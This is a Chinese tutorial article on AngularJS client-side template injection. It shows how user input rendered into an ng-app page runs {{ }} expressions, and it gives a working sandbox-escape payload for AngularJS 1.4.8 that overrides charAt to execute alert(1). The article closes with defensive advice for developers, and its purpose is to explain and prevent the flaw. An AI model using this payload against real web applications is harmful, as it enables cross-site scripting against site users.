利用AngularJS绕过XSS表达式沙箱

简介

AngularJS是一个很流行的JavaScript框架,通过这个框架可以把表达式放在花括号中嵌入到页面中。例如,表达式1+2={{1+2}}将会得到1+2=3。其中括号中的表达式被执行了,这就意味着,如果服务端允许用户输入的参数中带有花括号,我们就可以用Angular表达式来进行xss攻击。

一个客户端的用户输入

我们来探究下HTML页面是如何安全的防护用户输入。在下面这个例子中,我们会使用HTML中的Thymeleaf来编码,然后在页面中的div标签的text属性中输出username的值。

  1. <html xmlns:th="http://www.thymeleaf.org"> 
  2. <head> 
  3. <title>AngularJS - Escaping the Expression Sandbox</title> 
  4. </head> 
  5. <body> 
  6. <div th:text="${username}"></div> 
  7. </body> 
  8. </html> 

如果username的值是alert(‘Rob’),输出的页面就是以下的样子:

  1. <html xmlns:th="http://www.thymeleaf.org"> 
  2. <head> 
  3. <title>AngularJS - Escaping the Expression Sandbox  
  4. </title> 
  5. </head> 
  6. <body> 
  7. <div>&lt;script&gt;alert('Rob')&lt;/script&gt; 
  8. </div> 
  9. </body> 
  10. </html> 

可以看到,输出的内容都被HTML编码了,这就是说,目前为止这个应用对xss攻击是可以防御的。

添加AngularJS

当前,我们的应用可以防护xss攻击。接下来,我们加入AngularJS来改下:

  1. <html xmlns:th="http://www.thymeleaf.org"> 
  2. <head> 
  3. <title>Angular Expression - safe</title> 
  4. <script src="angular-1.4.8.min.js"></script> 
  5. </head> 
  6. <body ng-app> 
  7. <div th:text="${username}"></div> 
  8. </body> 
  9. </html> 

你可以发现,有两处修改了:

1. 引入了angular-1.4.8.min.js

2. 给body元素添加了ng-app

现在,我们的应用就很容易受到xss攻击了,但是,我们该如何攻击呢?

就像我们在简介中介绍的那样,如果把username改成1+2={{1+2}}会怎么样呢?

结果如下:

  1. <html> 
  2. <head> 
  3. <title>Angular Expression - safe</title> 
  4. <script src="angular-1.4.8.min.js"></script> 
  5. </head> 
  6. <body ng-app=""> 
  7. <div>1+2={{1+2}}</div> 
  8. </body> 
  9. </html> 

Angular将会把DOM解析成如下:

  1. <html> 
  2. <head> 
  3. <title>Angular Expression - safe</title> 
  4. <script src="angular-1.4.8.min.js"></script> 
  5. </head> 
  6. <body ng-app=""> 
  7. <div>1+2=3</div> 
  8. </body> 
  9. </html> 

可以看到括号里面的表达式被运行了,我们现在把username换成{{alert(‘Rob’)}}试试,但是这样做被表达式沙盒拦截了。此时,我们可以认为我们写的页面是安全的,因为威胁语句被拦截了。

表达式沙盒化

在AngularJS中,沙盒化的目的并不是为了安全,更主要的是为了分离应用,例如,用户在获取window的时候是不被允许的,因为这样可以避免在你的程序中引入全局变量。

但是,如果在表达式被处理之前,有攻击者修改了页面模板,这样的情况沙盒是不会拦截的。也就是说,这种情况下,任何在花括号内的语句都能被执行,

所以Angular官方建议开发这类应用时,最好不要让用户可以修改客户端模板。具体建议如下:

不要把客户端和服务端模板混在一起

不要通过用户输入来动态的生成模板

不要用$scope.$eval运行用户输入内容

可以考虑使用CSP(也不要只依赖于CSP)

这些意味着如果应用页面允许用户的输入修改到客户端的模板中,那么这个页面将很容易被xss攻击,接下来我们来看看这个具体的例子:

绕过表达式沙盒

如果我们的payload被沙盒化了,我们该怎么样绕过呢?

如果我们的username是以下的值,将会发生什么呢?

{{‘a’.constructor.prototype.charAt=[].join;eval(‘x=1} } };alert(1)//’);

}}

上面的例子中,通过覆盖原始函数charAt,我们就可以绕过Angular的表达式沙盒,并且执行我们的语句alert(1)。具体的攻击原理可以参考http://blog.portswigger.net/2016/01/xss-without-html-client-side-template.html。

注意,这些测试只是在Chrome和AngularJS1.4.8中成功。在其他的浏览器中不知道能不能成功。

结论

如果服务端允许用户输入到Angular模板,这将会让你的应用陷入xss的攻击中。不过话说回来,最好不要把服务端的用户输入和客户端模板混合起来。关于这点你可以从这篇文章里面了解详细的内容https://github.com/rwinch/angularjs-escaping-expression-sandbox

文章来源网络,作者:管理,如若转载,请注明出处:https://shuyeidc.com/wp/139240.html<

(0)
管理的头像管理
上一篇2025-03-03 09:33
下一篇 2025-03-03 09:35

相关推荐

  • 站群服务器和普通服务器到底哪个更适合GEO,怎么选?

    站群服务器更适合需要批量管理多个独立站点进行SEO的策略,而普通服务器在单站点权威性和稳定性上更优,但2026年百度对内容质量的要求让两者选择更依赖业务模式,站群服务器与普通服务器的核心差异定义与适用场景站群服务器本质是一台独享物理服务器,提供多个独立IP段(常为16、32或64个C段IP),每个IP绑定一个独……

    2026-07-28
    0
  • 物理服务器和云服务器做站群到底选哪个,哪个更稳定?

    做站群,物理服务器在核心指标上完全优于云服务器,尤其是对于追求稳定和长期排名的项目,物理服务器是唯一合理的选择,为什么物理服务器更适合站群站群的核心逻辑在于利用多个独立IP和站点,构建一个在网络中看似分散、但实际相互关联的矩阵,搜索引擎对IP关联性极其敏感,一旦检测到大量站点共享同一IP段或同一母机,惩罚风险会……

    2026-07-28
    0
  • 国内高防服务器哪家防御真实靠谱,怎么选?

    国内高防服务器哪家防御真实靠谱?答案很明确:只有那些持证上岗、自建机房、自己掌握清洗算法的服务商才靠得住,简米科技和酷番云就是这类代表,判断高防服务器真实防御能力的三个硬指标很多朋友选高防服务器,上来就问“你家多少G防御”,但数字背后水分很大,要判断防御是否真实,得看这三个方面:防御带宽是否独享? 有些服务商宣……

    2026-07-28
    0
  • 裸金属服务器和物理服务器有什么区别?,怎么选?

    裸金属服务器和物理服务器本质上是同一类硬件,核心区别在于交付逻辑和管理方式, 裸金属服务器是云服务商将物理服务器以云化方式交付,支持自动化部署、弹性伸缩和按需计费;而物理服务器通常指用户自购或托管,需要自行承担运维,两者在硬件层面完全相同,但业务模型和运维成本差异显著,裸金属服务器与物理服务器的定义差异裸金属服……

    2026-07-28
    0
  • 做GEO站群选哪家服务器服务商靠谱,怎么选?

    做SEO站群,选择服务器服务商的核心在于机房资质、IP资源与售后响应——简米科技与酷番云凭借持牌自营机房和多项权威认证,成为众多站群运营者的首选,站群服务器的高要求从何而来SEO站群依赖大量独立域名和IP地址,通过矩阵化布局获取长尾流量,搜索引擎对站群的识别逻辑越来越严,如果IP段集中、或服务器存在违规记录,很……

    2026-07-28
    0

发表回复

您的邮箱地址不会被公开。必填项已用 * 标注